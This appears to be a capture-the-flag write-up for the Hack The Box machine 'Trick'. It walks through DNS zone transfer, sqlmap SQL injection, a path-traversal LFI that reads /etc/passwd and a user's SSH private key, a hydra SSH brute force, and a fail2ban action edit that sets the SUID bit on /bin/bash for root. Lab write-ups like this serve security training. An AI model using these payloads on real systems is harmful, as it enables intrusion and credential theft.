HTB Trick

30/08/2022 5-minute read

recon Link to heading

ip: 10.10.11.166

nmap Link to heading

1sudo nmap -sC -sV -oA trick trick.htb

 1Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-29 20:02 AWST
 2Nmap scan report for trick.htb (10.10.11.166)
 3Host is up (0.28s latency).
 4Not shown: 996 closed tcp ports (reset)
 5PORT   STATE SERVICE VERSION
 622/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
 7| ssh-hostkey: 
 8|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
 9|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
10|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
1125/tcp open  smtp    Postfix smtpd
12|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
1353/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
14| dns-nsid: 
15|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
1680/tcp open  http    nginx 1.14.2
17|_http-title: Coming Soon - Start Bootstrap Theme
18|_http-server-header: nginx/1.14.2
19Service Info: Host:  debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
20
21Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
22Nmap done: 1 IP address (1 host up) scanned in 53.18 seconds

port 80 Link to heading

simple nginx website.

Not much, overall.. Let’s enumerate using dig as well.

1dig axfr @10.10.11.166 trick.htb

 1$dig axfr @10.10.11.166 trick.htb
 2
 3; <<>> DiG 9.16.27-Debian <<>> axfr @10.10.11.166 trick.htb
 4; (1 server found)
 5;; global options: +cmd
 6trick.htb.		604800	IN	SOA	trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
 7trick.htb.		604800	IN	NS	trick.htb.
 8trick.htb.		604800	IN	A	127.0.0.1
 9trick.htb.		604800	IN	AAAA	::1
10preprod-payroll.trick.htb. 604800 IN	CNAME	trick.htb.
11trick.htb.		604800	IN	SOA	trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
12;; Query time: 273 msec
13;; SERVER: 10.10.11.166#53(10.10.11.166)
14;; WHEN: Mon Aug 29 20:18:26 AWST 2022
15;; XFR size: 6 records (messages 1, bytes 231

Ok got another subdomain we can access via browser. preprod-payroll.trick.htb - don’t forget to add the host to /etc/hosts file.

Got a user form, might be useful in the future.

burp Link to heading

So, the backend page is as following: http://preprod-payroll.trick.htb/ajax.php?action=login. SQLi, LFI? Given LFI never works, let’s try SQLi right away via sqlmap.

SQLi Link to heading

1sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data "username=admin&password=pass" -p password

Found it right away, we can dump the database now :)

… and after a while we got the db name payroll_db and tables for the database.

Got a user/password pair that we can use to login and see what’s there.

Let’s check for LFI first.

According to HackTricks there are multiple ways to bypass the filter. The following one works fine:

1http://preprod-payroll.trick.htb/index.php?page=....//....//....//etc/passwd

Doesn’t look like, seems like a dead end. Let’s enum more and come back later if necessary.

wfuzz Link to heading

so, not really useful as the LFI adds .php at the end of string. Let’s enumerate for other (possible) subdomains via wfuzz. Let’s try with preprod- prefix first:

1sudo wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://trick.htb/" -H "Host: preprod-FUZZ.trick.htb"

yup, there is another host http://preprod-marketing.trick.htb/

waht about LFI here?

It seems it exists. According to HackTricks there are multiple ways to bypass the filter. The following one works fine:

1http://preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd

We got the user michael. Since there is an open ssh port 22.

user Link to heading

We can try to extract their id_rsa. Given it’s a linux system, it will be in /home/michael/.ssh/id_rsa.

So, we can use LFI with the following string:

1http://preprod-marketing.trick.htb/index.php?page=....//....//....///home/michael/.ssh/id_rsa

ez pz.. copy the key and save as michael_id. let’s try to login as michael now.

1chmod 600 michael_id
2ssh -i michael_id michael@trick.htb

we got the shell:

and the flag:

1feb751d05b62ab103e45b6e6e53c4f3

privEsc Link to heading

First thing first, check for sudo commands.

1sudo -l

heh, so we can run fail2ban as root upon restart. Fail2Ban appears to be a firewall rule updater.

Fail2ban scans log files (e.g. /var/log/apache/error_log) and bans IPs that show the malicious signs – too many password failures, seeking for exploits, etc. Generally Fail2Ban is then used to update firewall rules to reject the IP addresses for a specified amount of time, although any arbitrary other action (e.g. sending an email) could also be configured. Out of the box Fail2Ban comes with filters for various services (apache, courier, ssh, etc).

Quick google and we got an exploit for PrivEsc with fail2ban. So, we’ll follow the guide on the page above. First, let’s find directories where we have write access.

1find /etc -writable -ls 2>/dev/null

Next, check inside the file /etc/fail2ban/jail.conf

1vim /etc/fail2ban/jail.conf

everyting appears to be default.

For privilege escalation, we will try 5 failed attempts with ssh to connect to the server so that we can get banned and inside of the /etc/fail2ban/action.d there is iptables-multiport.conf config file where we can write rules and commands actionstart,actionstop,actioncheck,actionban,actionunban.so when we get banned and commands inside actionban will execute.

1ls -la iptables-multiport.conf

only root can write there. but we can rename the file and delegate the ownership so to speak.

1mv iptables-multiport.conf iptables-multiport.conf.bak
2mv iptables-multiport.conf.bak iptables-multiport.conf
3ls -la iptables-multiport.conf

it didn’t work. but moving it to temp, then editing and copying it back to action.d folder worked fine.

1cp iptables-multiport.conf /tmp
2vim /tmp/iptables-multiport.conf

Edit to change the actionban part as following:

1actionban = chmod u+s /bin/bash

Remove the file from action.d folder and copy the one we edited there. and restart the service.

1rm -rf action.d/iptables-multiport.conf && cp /tmp/iptables-multiport.conf action.d/ && sudo /etc/init.d/fail2ban restart

now we need to brute force the ssh 5 times and we should get permissions for sh. We’re going to use hydra.

1hydra -l michael -P /usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords-1000.txt ssh://trick.htb

1bash -p
2cat /root/root.txt